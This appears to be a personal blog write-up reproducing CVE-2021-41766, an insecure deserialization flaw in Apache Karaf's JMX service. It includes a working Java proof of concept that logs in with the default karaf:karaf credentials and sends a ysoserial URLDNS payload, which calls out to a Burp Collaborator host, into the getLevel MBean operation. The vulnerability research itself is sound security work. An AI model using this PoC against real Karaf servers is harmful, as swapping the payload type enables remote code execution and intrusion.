CVE-2021-41766: Insecure Deserialization on Apache Karaf


From the perspective of its exploitation method, this CVE is neither particularly interesting nor worth much attention. However, during my research on this CVE, I faced considerable difficulties reproducing and analyzing the flaw. As of the time of writing, there is neither a PoC for CVE-2021-41766 nor an in-depth analysis of it, so this can be considered my (first) 1-day analysis.
0x01 Overview of CVE-2021-41766
According to the description in NIST’s database for CVE-2021-41766, this vulnerability is related to Java Management Extensions (JMX). Therefore, before diving deeper into this CVE, you should read up on JMX and the MBean service. I’ll include the links I used for my research at the end of this article.
The key piece of information that helped me reproduce a PoC for this CVE is:
Whereas the default JMX implementation is hardened against unauthenticated deserialization attacks, the implementation used by Apache Karaf is not protected against this kind of attack.
So, I can draw the following conclusions:
Previously, there was a default JMX implementation that had been attacked using a technique X, leading to an unauthenticated insecure deserialization vulnerability. That default JMX implementation has since been patched.
However, when Apache Karaf implemented JMX, it did not apply the same mechanisms to fix this issue. As a result, Apache Karaf’s JMX implementation could be attacked using technique X as well. This means that if I can figure out the technique X that was once used to exploit the default JMX implementation, I can also exploit Apache Karaf’s JMX implementation using the same approach!
(And somehow, it took me nearly a week to notice this part 😭)
0x02 Setting Up a Debug Environment for Apache Karaf
To be honest, I still don’t fully understand what Apache Karaf actually is, so for now I’ll just write out the steps I followed to set up the debug environment.
According to the Apache Karaf Advisory for CVE-2021-41766, versions prior to 4.3.6 are affected by this vulnerability. So I downloaded Apache Karaf version 4.3.5 to build the debug environment. I got the source code for Apache Karaf from GitHub at: https://github.com/apache/karaf/releases/tag/karaf-4.3.5
Following Xixia Yipintang’s guide, I opened the bin\karaf.bat
file and added the line set KARAF_DEBUG=true
Run the bin\karaf.bat
file. Notice that Apache Karaf accepts remote debugging connections through port 5005.
To remotely debug Apache Karaf, I used Remote JVM Debug in IntelliJ IDEA. The default configuration for Remote JVM Debug (which I named remoteDebug
) was already set to connect to port 5005, so I left it as is.
Run remoteDebug
in IDEA. If there is connection message like the one shown below, it means the debug environment for Apache Karaf has been successfully set up.
0x03 Vulnerability Analysis
As analyzed in section 1, I began exploring methods to exploit the JMX implementation and found a fairly detailed article: https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/. You can read the section “Deserialization on the JMX/MBean level” and analyze this vulnerability yourself.
Maybe one fine day (after I finish my thesis), I’ll come back and complete this section.
0x04 Reproducing the Vulnerability
The exploit for this vulnerability has been committed to ysoserial/exploit/
JMXInvokeMBean.java
. To simplify the exploitation process, I opened the entire ysoserial project in IDEA, then modified the JMXInvokeMBean.java
file to target CVE-2021-41766.
Connect to the Apache Karaf server
To use JMXInvokeMBean
, I needed four arguments:
host: The address of the Apache Karaf server. Here, I reproduced the vulnerability on localhost, so the host is also
localhost
.port: The port of the JMX RMI service on the Apache Karaf server. The default port for RMI services is always 1099.
payload_type: The name of the ysoserial payload type used to exploit the deserialization vulnerability. In this article, I used the
URLDNS
payload.payload_arg: The arguments for the corresponding ysoserial payload. Here, I used a URL from Burp Collaborator Client.
The host
and port
information is used to create a JMXServiceURL
. Apache Karaf’s serviceUrl
is configured in the etc/
org.apache.karaf.management
.cfg
file, with the default value:
service:jmx:rmi:///jndi/rmi://localhost:1099/karaf-root
However, when I tried to connect to the Apache Karaf server, the program threw an error requesting credentials. The credentials for Apache Karaf are stored in the etc/
users.properties
file, with the default value: karaf:karaf
With all this information, I was able to modify the code in JMXInvokeMBean.java
to connect to the JMX RMI service of the Apache Karaf server. The code snippet I modified to set up the connection to Apache Karaf is as follows:
args = new String[4];
args[0] = "localhost";
args[1] = "1099";
args[2] = "URLDNS";
args[3] = "http://8x6r511e351r0z6px6oavfxdu40vok.burpcollaborator.net";
HashMap environment = new HashMap();
String[] credentials = new String[] {"karaf", "karaf"};
environment.put (JMXConnector.CREDENTIALS, credentials);
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/karaf-root");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url, environment);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
Exploiting Apache Karaf’s JMX RMI Service: getLevel
Apache Karaf has a JMX service called getLevel
, which is quite similar to getLoggingLevel
in the default JMX service. By opening jconsole and connecting to Apache Karaf, I can see that this method also takes a String argument and returns the log level.
At this point, I would essentially be replicating (or, more casually speaking, “copying”) the method used to exploit getLoggingLevel
in the default JMX service.
It’s straightforward to gather the details of this MBean service as follows:
- (MBean) service name:
org.apache.karaf:type=log,name=root
- Operation name:
getLevel
With this information, I then modified the remaining part of the code in JMXInvokeMBean.java
to send a malicious object to Apache Karaf, as shown below:
// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("org.apache.karaf:type=log,name=root");
mbeanServerConnection.invoke(mbeanName, "getLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
CVE-2021-41766 PoC
After modifying the code as shown in the previous two sections, I create a PoC script for CVE-2021-41766 as follows:
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
// if ( args.length < 4 ) {
// System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
// System.exit(-1);
// }
args = new String[4];
args[0] = "localhost";
args[1] = "1099";
args[2] = "URLDNS";
args[3] = "http://8x6r511e351r0z6px6oavfxdu40vok.burpcollaborator.net";
HashMap environment = new HashMap();
String[] credentials = new String[] {"karaf", "karaf"};
environment.put (JMXConnector.CREDENTIALS, credentials);
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/karaf-root");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url, environment);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("org.apache.karaf:type=log,name=root");
mbeanServerConnection.invoke(mbeanName, "getLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
After running the PoC file, Burp Collaborator Client logged a lookup request, indicating that the Java deserialization vulnerability was successfully exploited.
0x05 Conclusion
Although this CVE uses an old exploitation technique, reproducing it required quite a bit of unfamiliar knowledge (at least for me). To be fair, I didn’t write the PoC entirely from scratch—I only modified existing PoCs to make them work—so this isn’t exactly a full-fledged “1-day” write-up. Hopefully, in the near future, I’ll be able to produce truly complete 1-day vulnerability analyses. 😄
References
Subscribe to my newsletter
Read articles from Phùng Đức Thắng directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
